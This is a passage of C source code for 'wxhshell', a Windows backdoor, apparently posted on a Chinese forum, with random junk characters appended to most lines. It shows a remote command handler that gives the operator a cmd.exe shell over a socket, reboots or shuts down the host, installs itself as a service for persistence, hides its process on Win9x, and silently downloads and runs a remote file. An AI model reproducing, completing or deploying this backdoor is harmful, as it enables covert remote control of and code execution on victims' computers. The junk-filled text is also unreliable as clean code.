      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O>[B"mM t  
    break; Z!*k0 <Z  
  } rH9[x8e  
  // 安装 Z=zD~ka  
  case 'i': { ~$]Puv1V>  
    if(Install()) e7M6|6nb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tLzKM+Ct#  
    else A0 $ds  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _`+2e-  
    break; 5~{s-Ms  
    } _NN5e|t  
  // 卸载 ]^I[SG,  
  case 'r': { H' %#71  
    if(Uninstall()) Lv7$@|"H9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {)PgN  
    else "HtaJVp//  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DT3koci(  
    break; BoP,MpF  
    } I\P w`  
  // 显示 wxhshell 所在路径 M+-1/vR *@  
  case 'p': { A?"/ >LM  
    char svExeFile[MAX_PATH]; m4,inA:o  
    strcpy(svExeFile,"\n\r"); `@^s}rt+  
      strcat(svExeFile,ExeFile); k FCdGl  
        send(wsh,svExeFile,strlen(svExeFile),0); yQE9S+%M  
    break; Y Sux#*#H  
    } !XQ)>T^G5  
  // 重启 *&tv(+P  
  case 'b': { T4h&ly5 f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oD=+  
    if(Boot(REBOOT)) lD6PKZ\RIj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mO&zE;/[  
    else { n7pjj  
    closesocket(wsh); ]:.9:RmEV  
    ExitThread(0); x\5v^$  
    } %s ">:  
    break; M"5S  
    } ][B>`gC-  
  // 关机 !xE@r,'oN  
  case 'd': { `c?8i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5Y r$tl\k  
    if(Boot(SHUTDOWN)) bFsJqA.A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }xpo@(e  
    else { Ti$_V_  
    closesocket(wsh); XvIY=~  
    ExitThread(0); _:+ k|I  
    } %a|m[6+O  
    break; jf=\\*64r4  
    } E(Zm6~  
  // 获取shell zXML<?w  
  case 's': { Ir6g"kwCKq  
    CmdShell(wsh); 8K2=WYN  
    closesocket(wsh); Le*gdoW.  
    ExitThread(0); LTcZdQd$  
    break; FY"csZ  
  } TV~S#yg+H  
  // 退出 91M5F$  
  case 'x': { ]}L tf,9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ao$|`Lgj=z  
    CloseIt(wsh); (w-@b70E  
    break; [ps 5  
    } PG@6*E  
  // 离开 rkn'1M&u  
  case 'q': { N `[ ?db-%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y7<(_p7  
    closesocket(wsh); #sM*<2vj  
    WSACleanup(); Un Ocw  
    exit(1); K[l5=)G0L  
    break; MY l9 &8  
        }  mT,#"k8  
  } t(p}0}Pp  
  } V z-]H]MW,  
[}`-KpV!;  
  // 提示信息 Dr5AJ`y9A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >\[|c  
} }-~LXL%!3  
  } bVOJp% *s  
|f2 bb  
  return; LL+PAvMg  
} UeU`U  
f47dB_{5f.  
// shell模块句柄 R7/ET"  
int CmdShell(SOCKET sock) 6/.cS4  
{ q,>4#J[2;s  
STARTUPINFO si; @bZ,)R  
ZeroMemory(&si,sizeof(si)); @|<qTci  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .q|k459oi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lmw4  
PROCESS_INFORMATION ProcessInfo; w+iI ay  
char cmdline[]="cmd"; Y{9xF8#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }70A>JBw  
  return 0; tv%B=E!r  
} #3_ @aq*  
d[oHjWk  
// 自身启动模式 f7:}t+d  
int StartFromService(void) ;lf$)3%[  
{ lPw`KW  
typedef struct k(M(]y_  
{ @4=Az1W*  
  DWORD ExitStatus; {!^0j{T  
  DWORD PebBaseAddress; #Ve@D@d[  
  DWORD AffinityMask; 7yUX]95y8  
  DWORD BasePriority; .+&M,% x  
  ULONG UniqueProcessId; >DR$}{IV  
  ULONG InheritedFromUniqueProcessId; WJy\{YAG  
}   PROCESS_BASIC_INFORMATION; j[Gg[7q{y  
|z?c>.  
PROCNTQSIP NtQueryInformationProcess; fT{%zJU  
a(lmm@;V<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X=V2^zrt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8=OpX,t(  
rUZ09>nDy  
  HANDLE             hProcess; +h8`8k'}-2  
  PROCESS_BASIC_INFORMATION pbi; BT"n;L?[  
wY3| 5kbDj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eu'S~c-l  
  if(NULL == hInst ) return 0;  ^w_\D?  
=3EjD;2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'oF XNO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }#6~/ W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }WHq?  
iw{^nSD  
  if (!NtQueryInformationProcess) return 0; Bo8NY!  
ef2)k4)"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eIQ@){lJ-]  
  if(!hProcess) return 0; eU\XAN#@  
*z&hXYm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +*wr=9>  
t&~*!w!+jH  
  CloseHandle(hProcess); yz=aJ v; H  
1vdG \$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LIn2&r:U  
if(hProcess==NULL) return 0; fJ&\Z9zY  
/rHlFl|Wy  
HMODULE hMod; 0<+eN8od.  
char procName[255]; G\K!7k`)!  
unsigned long cbNeeded; Nka 3H7 `  
d<[L^s9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f$qkb$?]}  
}6gum  
  CloseHandle(hProcess); I.it4~]H  
%Z*N /nU  
if(strstr(procName,"services")) return 1; // 以服务启动 w<Bw2c  
OR}+) n{  
  return 0; // 注册表启动 tGF3Hw^mS  
} tac\Ki?  
6G{ Q@  
// 主模块 $e:bDZ(hjj  
int StartWxhshell(LPSTR lpCmdLine) #I\" 'n5M  
{ V3ExS1fNf  
  SOCKET wsl; <==6fc>s  
BOOL val=TRUE; gBOF#"-  
  int port=0; Hyi'z1  
  struct sockaddr_in door; odn3*{c{x  
ZS[Ut  
  if(wscfg.ws_autoins) Install(); 6FY.kN\  
lIPz "  
port=atoi(lpCmdLine); EI496bsRHm  
jZ''0Lclpc  
if(port<=0) port=wscfg.ws_port; Nh\o39=  
dSe d 6  
  WSADATA data; Mbn;~tY>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -q\Rbb5M  
g.\%jDM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ij1YV2v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]n3!%0]\  
  door.sin_family = AF_INET; dWdD^>8Ef  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r1 b"ta  
  door.sin_port = htons(port); 6 [?5hmc"w  
MaPI<kYQv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -A zOujSS  
closesocket(wsl); UG[r /w5(F  
return 1; ~K"nm{.  
} _fSBb<  
RFX{]bQp9  
  if(listen(wsl,2) == INVALID_SOCKET) { !(gSXe)*  
closesocket(wsl); O{ 0it6  
return 1; e^;%w#tEqI  
} 1 J}ML}h)  
  Wxhshell(wsl); GWv i  
  WSACleanup(); LqNyi   
F x^X(!)~]  
return 0; >dgz/n?:v  
v]Aop<KLX  
} lB.n5G  
RhC|x,E  
// 以NT服务方式启动 `3`.usw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8H|ac[hXK2  
{ `YqXF=-  
DWORD   status = 0; `jVRabZ0  
  DWORD   specificError = 0xfffffff; ( 4# iLs  
R:j mn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )sNPWn8<Uy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LR';cR;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #jd.i  
  serviceStatus.dwWin32ExitCode     = 0; `?b'.Z_J  
  serviceStatus.dwServiceSpecificExitCode = 0; wJ7^)tTRF  
  serviceStatus.dwCheckPoint       = 0; ~@(C+3,  
  serviceStatus.dwWaitHint       = 0; @C^wV  
J 5';Hb)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v\_\bT1  
  if (hServiceStatusHandle==0) return; Sp*4Z`^je  
e\O-5hp7  
status = GetLastError(); *+nw%gZG  
  if (status!=NO_ERROR) g> ~+M  
{ $/|vbe,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g>k?03;  
    serviceStatus.dwCheckPoint       = 0; ]"~ x  
    serviceStatus.dwWaitHint       = 0; BMdZd5!p&  
    serviceStatus.dwWin32ExitCode     = status; w)B ?j  
    serviceStatus.dwServiceSpecificExitCode = specificError; crN*eFeW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); klH?!r&  
    return; K?r  
  } k/sfak{Q  
LNyrIk/1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tP"6H-)X&  
  serviceStatus.dwCheckPoint       = 0; /V63yzoY  
  serviceStatus.dwWaitHint       = 0; QZIzddwp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Sc/$ 2gSG  
} o OC&w0  
jU* D  
// 处理NT服务事件,比如:启动、停止 >\w]i*%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vB}c6A4'U  
{ r7L.W  
switch(fdwControl) 1z-A3a/-  
{ 5+;Mc[V3-  
case SERVICE_CONTROL_STOP: IvlfX`("  
  serviceStatus.dwWin32ExitCode = 0; jM @N<k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0{ ~2mggh  
  serviceStatus.dwCheckPoint   = 0; j--byk6PB  
  serviceStatus.dwWaitHint     = 0; CWocb=E  
  { vZ811U~}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :~#)Xa0I  
  } W]bgWKd  
  return; x)GheM^  
case SERVICE_CONTROL_PAUSE: zBu@a:E%H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9t6c*|60#n  
  break; 9x|`XAB  
case SERVICE_CONTROL_CONTINUE: C#^y{q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jT}={[9b  
  break; ^+v1[U@  
case SERVICE_CONTROL_INTERROGATE: g(;OUkj$Zp  
  break; ZWo~!Z[Y  
}; k54\H.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `-OzjbM  
} Ff(};$/& W  
NkO+ )=  
// 标准应用程序主函数 Mgi~j.[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p)ig~kk`  
{ 3T0~k--  
lWtfcU?S[  
// 获取操作系统版本 k sXQ}BE  
OsIsNt=GetOsVer(); #QIY+muN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &(A#F[ =0  
dH PvVe/  
  // 从命令行安装 nc\`y,>l8  
  if(strpbrk(lpCmdLine,"iI")) Install(); q?dd5JzZy,  
x\(#  
  // 下载执行文件 p:5NMo  
if(wscfg.ws_downexe) { s1[&WDedM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NjpWK ;L  
  WinExec(wscfg.ws_filenam,SW_HIDE); u[Kz^ga<  
} x,.=VB  
Qrg- xu=  
if(!OsIsNt) { M\a{2f7'n  
// 如果时win9x,隐藏进程并且设置为注册表启动 )E*f30  
HideProc(); Q;w [o  
StartWxhshell(lpCmdLine); 7C 0xKF  
} 8FMxn{k2  
else ]%HxzJ  
  if(StartFromService()) FHw%ynC  
  // 以服务方式启动 Mms|jF oQ  
  StartServiceCtrlDispatcher(DispatchTable); vxTn  
else _:=\h5}8  
  // 普通方式启动 HbI{Xf[6LP  
  StartWxhshell(lpCmdLine); ,;Wm>V)o  
`bfUP s  
return 0; wjwCs`  
}
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只看该作者 1 发表于: 2006-10-10
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